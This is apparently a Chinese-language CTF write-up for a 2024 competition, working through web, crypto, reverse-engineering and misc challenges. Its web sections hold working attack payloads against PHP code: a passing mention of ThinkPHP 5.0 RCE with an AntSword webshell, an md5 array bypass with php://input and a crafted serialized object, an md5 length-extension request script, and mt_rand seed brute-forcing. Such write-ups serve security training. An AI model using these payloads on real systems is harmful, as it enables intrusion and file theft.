thinkphp 5.0
扫漏洞之后发现能rce,然后蚁剑连接即可
查看login的click事件,得到比较代码:
var strKey1 = "JaVa3C41ptIsAGo0DStAff";
var strKey2 = "CaNUknOWThIsK3y";
var strKey3 = String.fromCharCode(71, 48, 111, 100, 33);
if (uname == (strKey3 + (((strKey1.toLowerCase()).substring(0, strKey1.indexOf("0")) + strKey2.substring(2, 6)).toUpperCase()).substring(0, 15))) {
var strKey4 = 'Java_Scr1pt_Pa4sW0rd_K3y_H3re';
if (upass == (strKey4.substring(strKey4.indexOf('1', 5), strKey4.length - strKey4.indexOf('_') + 5))) {
alert('Login Success!');
document.getElementById('key').innerHTML = unescape("%3Cfont%20color%3D%22%23000%22%3Ea2V5X0NoM2NrXy50eHQ=%3C/font%3E");
} else {
alert('Password Error!');
}
} else {
alert('Login Failed!');
}
然后输出uname
和upass
,得到uname
是G0od!JAVA3C41PTISAGO
,upass
是1pt_Pa4sW0rd_K3y_H3re
返回结果得到key_Ch3ck_.txt
,打开得到 e569180fbe0c322593ccaaea94cb2cf1.php
接着把uname
和upass
传进去就可以e569180fbe0c322593ccaaea94cb2cf1.php?uname=G0od!JAVA3C41PTISAGO&upass=1pt_Pa4sW0rd_K3y_H3re
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
$a =$_GET["a"];
$b=$_GET["b"];
if(isset($a)and isset($b))
{
if($a!=$b)
if(true)
{
echo $user;
var_dump(file_get_contents($user));
if(isset($user)&&(file_get_contents($user,'r')==="i am admin")){
echo "管理员,你好!<br>";
if(preg_match("/flag/",$file)){
exit("不能直接读取 !");
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin !
";
}
}
else
echo "a和b要相等";
exit;
}
else
{
echo "a和b没赋值";
}
先用数组绕过md5检测,然后文件内容直接用php://input
伪协议和POST传入,然后就把class.php
的内容反序列化就行了:
fetch("/?a[]=1&b[]=2&user=php://input&file=class.php&pass=O:4:\"Read\":1:{s:4:\"file\";s:8:\"flag.php\";}", {
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "i am admin",
method: "post"
}).then(res => res.text()).then(data => {
console.log(data)
});
<?php
$secret = "abcdefghij12345"; // This secret is 15 characters long
$username = $_POST["username"];
$password = $_POST["password"];
$admin=false;
foreach($_GET as $key=>$value)
{
$$key=$value;}
if (!empty($_COOKIE["admin"])) {
echo md5($secret . 'admin'. 'admin');
echo "\n";
echo $password;
echo "\n";
echo md5($secret . urldecode($username . $password));
echo "\n";
echo $_COOKIE["admin"];
echo "\n";
var_dump($COOKIE["admin"] === md5($secret . urldecode($username . $password)));
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
if (($COOKIE["admin"] === md5($secret . urldecode($username . $password)))||($admin)) {
echo "Congratulations! \n";
echo file_get_contents('./flag.php');
}
else {
die ("Your cookies not right;");
}
}
else {
die ("You are not an admin! ");
}
}
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));
if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo "";
}
}
标准做法应该是用 md5 长度扩展攻击。已知密钥长度 15,内容 adminadmin
,然后把 md5 值传入,可以直接算出非 admin 密码的结果。
import requests
url = 'http://0cb916297639b71c.node.nsctf.cn/'
cookie = {
'admin': 'db305035046c857c42c23af1cfaf198c'
}
data = {
'username': 'admin',
'password': 'admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C8%00%00%00%00%00%00%00admin'
}
r = requests.post(url, data=data,cookies=cookie)
print(r.text)
但是可能是调试题目的时候忘记删了?直接传 admin=1
就可以不用比较直接拿到 flag
。
<?php
error_reporting(E_ALL & ~(E_NOTICE | E_WARNING));
session_start();
$flag = '**********';
if(preg_match('/hacker/i', $_GET['id'])){
echo "not allowed!";
exit();
}
$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] == "hacker")
{
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p class="alert">Wrong guess.</p>';
}
$t = (microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000);
mt_srand($t);
echo $t;
}
?>
<section class="login">
<div class="title">
<a href="./index.phps">View Source
</div>
<ul class="list">
<?php
for ($i=0; $i<3; $i++)
print '<li>' . mt_rand (0, 0xffffff) . '</li>';
$_SESSION['password'] = mt_rand (0, 0xffffff);
?>
因为会把随机数种子设置为 $t = (microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)
,因此只要枚举这个随机数种子,然后就能猜出下一个数:
<?php
$a = 7534776;
$b = 5484301;
$c = 11080505;
for ($i = 0; $i <= 5000000; ++$i) {
mt_srand($i);
if (mt_rand(0, 0xffffff) == $a && mt_rand(0, 0xffffff) == $b && mt_rand(0, 0xffffff) == $c) {
echo $i;
echo "<br>";
echo mt_rand(0, 0xffffff);
break;
}
}
已知了 $dp$ 和 $dq$,根据 $d\times e\equiv 1(\mod (p-1)(q-1))$,因此 $d=[k*(p-1)*(q-1)+1]*e^{-1}$,所以 $dp=e^{-1} \mod (p-1)$,$dq=e^{-1} \mod (q-1)$,然后解同余方程组就可以解出 $e$。
from Crypto.Util.number import *
'''
d * e = k * (p - 1) * (q - 1) + 1
d = (k * (p - 1) * (q - 1) + 1) * ie
ie = x*(p-1)+dp
ie = y*(q-1)+dq
'''
c = 176505211448775441759377112571416285002269046154682002640958927527285363613939164274074897209698932863090693548352212052039021387955079711139465486826840665388395910691409223850566949597773035959484610220572873537693137255521615539015726106162903835855276667596836327551624253102784959482105108958126456506273987973627462520112570396030765703022585630960333265719795997672386590896373605206274108744820603649922802406510880715714404234546942166456133726387962767081415842803457289271094137269131626263810735135563027780335484086622327800869545923986863851647772750299122682247432598207912898516980664848835397523718510542329041430828579256430960545299681705534006567155419508722118288520348619706342692898905171557357965205052013199657097521951849876405045263823429121110504447686477246795104347239053779292806012899309238924373173775471366748173383350637799440049850948371916459395856163643173222247435096316339316611108953554762192933572283325059030262563842417279030005348440606544627467113538284978766222061134067184846047461217505506609691036636162684686580432073000282809379616832253806929113932520577860618740834218853846915942778441867711377685994774488833501590992374827499757649351100566513082890080423989150752192672843473
p = 28945460757559361970695655767811659945626867564552135728842912159104976924969074589797449882989952402743032917658694035922871450734748587934775216092534585146538871530494939119374233018670645170862371566053753769382269447905222511291555311050883909846225205362715692218613764323064379537354923071653890274117470054755306657183441015585151604074111121535935650783612968758200243873151153458218548982503595140115911037232794194825189229885157793654014104135814275546441765968983466518551098764675533892684615869302099743858143517072437772382799510937533071833361475516594650308107132645771401429608167256514855678640861
q = 16454134628145428635938642646078010943795422683909425207947031541677953065313859047340709367774768895026282846912683690781541584821501321646609832672844063391237735629247122259784305413999579752004591345861559364286422439616861658947284756748913625962141828016017127380665704636165227970259542850748652323085666387745402090285820485208586273145329541341418925965216849185286055706299856589592654774035154341150609658467073944606595000875633329457282916293317155414190472012095977258319279177726295230859435483919560499532261286880201340449188392712457878561010619075339202873478164887405211345812877366704472091760649
dp = 6719919016185646753141089512705312786450083444528741031033095646181624790078977645021955105568111521122594606371020221091627323048449184689176084685583855304381783683348695648010006013890060605131251006088318036882086897801749737085245019670409285599677971780410318956450162112471096053698659019523174377237143880720749534449165967667588443348544234820022665169937247944277175604086014651245228850572310094304252229811356347491749737115101204632066087268727187479484805684638317637143576622377857143651317541170862820641068027767816682343709061902247687173334665557741728592257001950060416808933308638291484224817279
dq = 9671626313348280450640943682633064403941840139719341753385956265308411290895757524474238829210396882061133477261967807657740955678444270625529537569892861380944846931009368894959298421588426248474486250655740425752517501898046016026014048153859775633700296687195248137768956376057753721269440020302715500482874718375319032983222052565071698539090281430701105360409225245889825796425558924730772907562790507988316464016587363474953006029101699044836725240994892397920428402989088789382657335324486795583991546227101332166590444319927343618540363069939350587598492259649988077760767576770210987817305783617418981893643
n = p * q
z = (p - 1) % (q - 1)
need = (dq - dp) % (q - 1)
iz = inverse(z, q - 1)
x = iz * need % (q - 1)
ie = x * (p - 1) // 4 + dp
phi = (p - 1) * (q - 1)
e = inverse(ie, phi)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
直接用 IDA 打开就能看到flag
看一下输入的内容是怎么比较的,然后倒着解密即可:
target = [i for i in "flag{PbkD7j4X|8Wz;~;z_O1}"]
flag = [i for i in target]
for i in range(5, 13):
flag[i] = chr(ord(target[i]) ^ 7)
for i in range(13, 21):
flag[i] = chr(ord(target[i]) ^ 8)
print("".join(flag))
用Jadx打开apk,找到MainActivity,看到加密方法。加密结果是用户名,然后倒着推就行了:
target = b"y-aqcd2018"
passbyte2 = [_ for _ in target]
for i in range(10):
passbyte2[i] = passbyte2[i] - (len(passbyte2) - i) * 3
flag = ""
passbyte = [0 for i in range(20)]
byte3 = [13, 9, 6, 9, 93, 1, 14, 84, 9, 14, 6, 91, 10, 5, 89, 6, 28, 23, 69, 65]
for i in range(10):
l1 = i * 2
l2 = i * 2 + 1
passbyte[l1] = passbyte2[i] // 10 + 48
passbyte[l2] = passbyte2[i] % 10 + 48
for i in range(20):
passbyte[i] = passbyte[i] ^ byte3[i]
passbyte[i] = passbyte[i] ^ i
print(bytes(passbyte))
一共有1000个压缩包,写个python逐个解压,但是解压到最后发现 f1ag.txt 是 好好学习,天天向上,没有用,因此猜测是中间的压缩包里面的comment藏了内容:
import zipfile
flag = b""
def go(filename):
global flag
fn = filename.split("\\")[-1]
ext = fn.split(".")[-1]
if (ext == "zip"):
with zipfile.ZipFile(filename, "r") as zip_ref:
if len(zip_ref.comment) > 0:
flag = zip_ref.comment + flag
print(flag)
zip_ref.extractall("E:\\Codes\\CTF比赛\\2024安网杯\\misc\\misc5\\MISC_5(困难)(更新)\\" + fn.split(".")[0])
# 继续递归解压
for info in zip_ref.infolist():
go("E:\\Codes\\CTF比赛\\2024安网杯\\misc\\misc5\\MISC_5(困难)(更新)\\" + fn.split(".")[0] + "\\" + info.filename)
else:
# 输出文件内容
with open(filename, "rb") as f:
print(f.read())
go("E:\\Codes\\CTF比赛\\2024安网杯\\misc\\misc5\\MISC_5(困难)(更新)\\" + "999.zip")
print(flag)
最后得到:
flag: ZmxhZ3tUaGFua19ZMHVfZm9SX3lvVXJfdDFtRX0=
base64解码得到 flag{Thank_Y0u_foR_yoUr_t1mE}